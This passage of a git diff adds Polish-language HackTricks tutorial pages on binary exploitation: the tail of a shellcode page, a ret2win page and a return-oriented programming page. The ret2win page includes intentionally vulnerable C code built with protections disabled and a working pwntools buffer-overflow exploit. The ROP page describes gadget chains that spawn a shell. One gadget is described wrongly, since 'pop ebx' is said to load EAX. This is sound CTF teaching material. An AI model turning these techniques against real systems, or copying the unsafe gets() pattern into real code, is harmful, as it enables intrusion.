+* [**ASLR**](../common-binary-protections/aslr.md) **powinien być wyłączony**, aby adres był niezawodny w różnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
+* [**Kanarki stosu**](../common-binary-protections/stack-canaries.md) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.
+* [**NX**](../common-binary-protections/no-exec-nx.md) ochrona **stosu** uniemożliwi wykonanie kodu shell wewnątrz stosu, ponieważ ta część nie będzie wykonawalna.
+
+## Inne przykłady
+
+* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)

reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md

@@ -0,0 +1,103 @@
+# Ret2win
+
+<details>
+
+<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+
+## Podstawowe informacje
+
+Wyzwania **Ret2win** są popularną kategorią w konkursach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niezainicjowanej funkcji wewnątrz pliku binarnego, często nazwanej np. `win`, `ret2win`, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby zmienić przepływ wykonania na żądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami:
+
+### Przykład w języku C
+
+Rozważ prosty program w języku C z podatnością i funkcją `win`, którą zamierzamy wywołać:
+```c
+#include <stdio.h>
+#include <string.h>
+
+void win() {
+printf("Congratulations! You've called the win function.\n");
+}
+
+void vulnerable_function() {
+char buf[64];
+gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
+}
+
+int main() {
+vulnerable_function();
+return 0;
+}
+```
+Aby skompilować ten program bez zabezpieczeń stosu i z wyłączonym **ASLR**, można użyć następującej komendy:
+```sh
+gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
+```
+* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale częste w wyzwaniach CTF).
+* `-fno-stack-protector`: Wyłącz ochronę przed przepełnieniem stosu.
+* `-z execstack`: Pozwól na wykonanie kodu ze stosu.
+* `-no-pie`: Wyłącz wykonywalny plik o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się.
+* `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`.
+
+### Wykorzystanie w Pythonie za pomocą narzędzia Pwntools
+
+Do wykorzystania wykorzystamy **Pwntools**, potężne narzędzie do pisania exploitów w ramach CTF. Skrypt exploitu stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
+```python
+from pwn import *
+
+# Set up the process and context for the binary
+binary_path = './vulnerable'
+p = process(binary_path)
+context.binary = binary_path
+
+# Find the address of the win function
+win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary
+
+# Create the payload
+# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
+payload = b'A' * 68 + win_addr
+
+# Send the payload
+p.sendline(payload)
+p.interactive()
+```
+Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia pozwalającego na inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć:
+```sh
+objdump -d vulnerable | grep win
+```
+To polecenie pokaże ci zestawienie funkcji `win`, wraz z jej adresem początkowym.&#x20;
+
+Skrypt Pythona wysyła starannie spreparowaną wiadomość, która, gdy jest przetwarzana przez `vulnerable_function`, powoduje przepełnienie bufora i nadpisanie adresu powrotu na stosie adresem `win`. Gdy `vulnerable_function` zwraca wartość, zamiast wracać do `main` lub zakończyć działanie, skacze do `win`, a wiadomość jest wyświetlana.
+
+## Protections
+
+* [**ASLR**](../common-binary-protections/aslr.md) **powinno być wyłączone** dla niezawodnego adresu w kolejnych wykonaniach, w przeciwnym razie adres, pod którym funkcja będzie przechowywana, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
+* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.
+
+## Inne przykłady
+
+* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
+
+<details>
+
+<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>

reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md

@@ -0,0 +1,88 @@
+# ROP - Return Oriented Programing
+
+<details>
+
+<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+
+## **Podstawowe informacje**
+
+**Return-Oriented Programming (ROP)** to zaawansowana technika eksploatacji używana do obejścia zabezpieczeń takich jak **No-Execute (NX)** lub **Data Execution Prevention (DEP)**. Zamiast wstrzykiwać i wykonywać kod powłoki, atakujący wykorzystuje fragmenty kodu już obecne w binarnym pliku lub w załadowanych bibliotekach, znanych jako **"gadżety"**. Każdy gadżet zazwyczaj kończy się instrukcją `ret` i wykonuje małą operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadżety, atakujący może skonstruować ładunek w celu wykonania dowolnych operacji, skutecznie omijając zabezpieczenia NX/DEP.
+
+### Konwencje wywoływania
+
+Zrozumienie **konwencji wywoływania** jest kluczowe dla skutecznego tworzenia łańcuchów ROP, zwłaszcza podczas wywoływania funkcji lub manipulowania danymi:
+
+**x86 (32-bit)**
+
+* **cdecl**: Wywołujący czyści stos. Argumenty funkcji są przekazywane na stosie w odwrotnej kolejności (od prawej do lewej). **Argumenty są przekazywane na stosie od prawej do lewej.**
+* **stdcall**: Podobnie jak cdecl, ale wywoływany jest odpowiedzialny za czyszczenie stosu.
+
+**x64 (64-bit)**
+
+* Używa konwencji wywoływania **System V AMD64 ABI** w systemach przypominających Unix, gdzie **pierwsze sześć argumentów całkowitych lub wskaźników jest przekazywane w rejestrach `RDI`, `RSI`, `RDX`, `RCX`, `R8` i `R9`**. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w `RAX`.
+* Konwencja wywoływania **Windows x64** używa `RCX`, `RDX`, `R8` i `R9` dla pierwszych czterech argumentów całkowitych lub wskaźników, z dodatkowymi argumentami przekazywanymi na stosie. Wartość zwracana jest umieszczana w `RAX`.
+* **Rejestry**: 64-bitowe rejestry obejmują `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` oraz `R8` do `R15`.
+
+{% hint style="danger" %}
+Z tych konwencji wywoływania można zauważyć, że w **32 bitach argumenty** funkcji są **przekazywane przez stos**, podczas gdy w **x64** są **umieszczane w określonych rejestrach**.
+{% endhint %}
+
+### Jak działa ROP
+
+1. **Przechwycenie przepływu sterowania**: Najpierw atakujący musi przejąć kontrolę nad przepływem programu, zazwyczaj wykorzystując przepełnienie bufora, aby nadpisać zapisany adres powrotu na stosie.
+2. **Łańcuchowanie gadżetów**: Atakujący następnie ostrożnie wybiera i łączy gadżety, aby wykonać pożądane akcje. Może to obejmować ustawienie argumentów dla wywołania funkcji, wywołanie funkcji (np. `system("/bin/sh")`) i obsługę koniecznego sprzątania lub dodatkowych operacji.
+3. **Wykonanie ładunku**: Gdy podatna funkcja zwraca, zamiast powrócić do prawidłowej lokalizacji, zaczyna wykonywać łańcuch gadżetów.
+
+### Łańcuch ROP w x86
+
+Rozważmy hipotetyczny scenariusz, w którym chcemy wywołać `system("/bin/sh")` przy użyciu ROP w 32-bitowym binarnym pliku:
+
+1. **Znajdź Gadżety**: Załóżmy, że znaleźliśmy następujące gadżety w binarnym pliku lub załadowanych bibliotekach:
+* `pop eax; ret`: Zdejmuje wartość ze stosu do `EAX` i zwraca.
+* `pop ebx; ret`: Zdejmuje wartość ze stosu do `EAX` i zwraca.
+* `mov [ebx], eax; ret`: Przenosi wartość z `EAX` do lokalizacji wskazywanej przez `EBX`.
+* Adres `system`.
+2. **Przygotuj Łańcuch**: Musimy przygotować stos, który wygląda następująco:
+* Adres gadżetu ustawiającego `EBX`.
+* Adres gadżetu `pop eax; ret`.
+* Adres łańcucha `"/bin/sh"` w pamięci (lub gdzie planujemy go zapisać).
+* Adres gadżetu `mov [ebx], eax; ret`, aby przenieść `"/bin/sh"` do lokalizacji wskazywanej przez `EBX`.
+* Adres funkcji `system`, gdzie `EBX` wskazuje na nasz łańcuch.
+3. **Wykonanie**: Gdy podatna funkcja zwraca, zaczyna wykonywać nasz łańcuch gadżetów, w końcu wywołując `system("/bin/sh")` i otwierając powłokę.
+
+### ROP w x64
+
+Rozważmy hipotetyczny scenariusz, w którym chcesz wywołać `execve("/bin/sh", NULL, NULL)` na systemie x64, korzystając z konwencji wywoływania System V AMD64 ABI:
+
+1. **Znajdowanie Gadżetów**: Najpierw musisz znaleźć gadżety, które umożliwią kontrolę nad rejestrami `RDI`, `RSI` i `RDX`, ponieważ będą one przechowywać argumenty dla `execve`.
+2. **Konstrukcja Łańcucha**:
+* **Ustaw `RDI`, aby wskazywał na łańcuch `"/bin/sh"`**: Zazwyczaj jest to wykonywane za pomocą gadżetu `pop RDI; ret`, a następnie adresu łańcucha (który może być umieszczony w ładunku lub znaleziony w pamięci).
+* **Wyzeruj `RSI` i `RDX`**: Ponieważ drugi i trzeci argument dla `execve` to `NULL`, potrzebujesz gadżetów do wyzerowania tych rejestrów, takich jak `xor RSI, RSI; ret` i `xor RDX, RDX; ret`.
+* **Wywołaj `execve`**: W końcu potrzebny jest gadżet, który przeskakuje do `execve` (lub pośrednio ją wywołuje).
+3. **Wykonanie Ładunku**: Po skonstruowaniu i wysłaniu tego ładunku do podatnej aplikacji, łańcuch ROP wykonuje się, uruchamiając powłokę.
+
+Ponieważ x64 używa rejestrów dla kilku pierwszych argumentów, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i łączenie odpowiednich gadżetów może być bardziej skomplikowane ze względu na zwiększoną liczbę rejestrów i większą przestrzeń adresową. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze **x64** stanowią zarówno szanse, jak i wyzwania dla rozwoju eksploatacji, zwłaszcza w kontekście Return-Oriented Programming (ROP).
+
+<details>
+
+<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>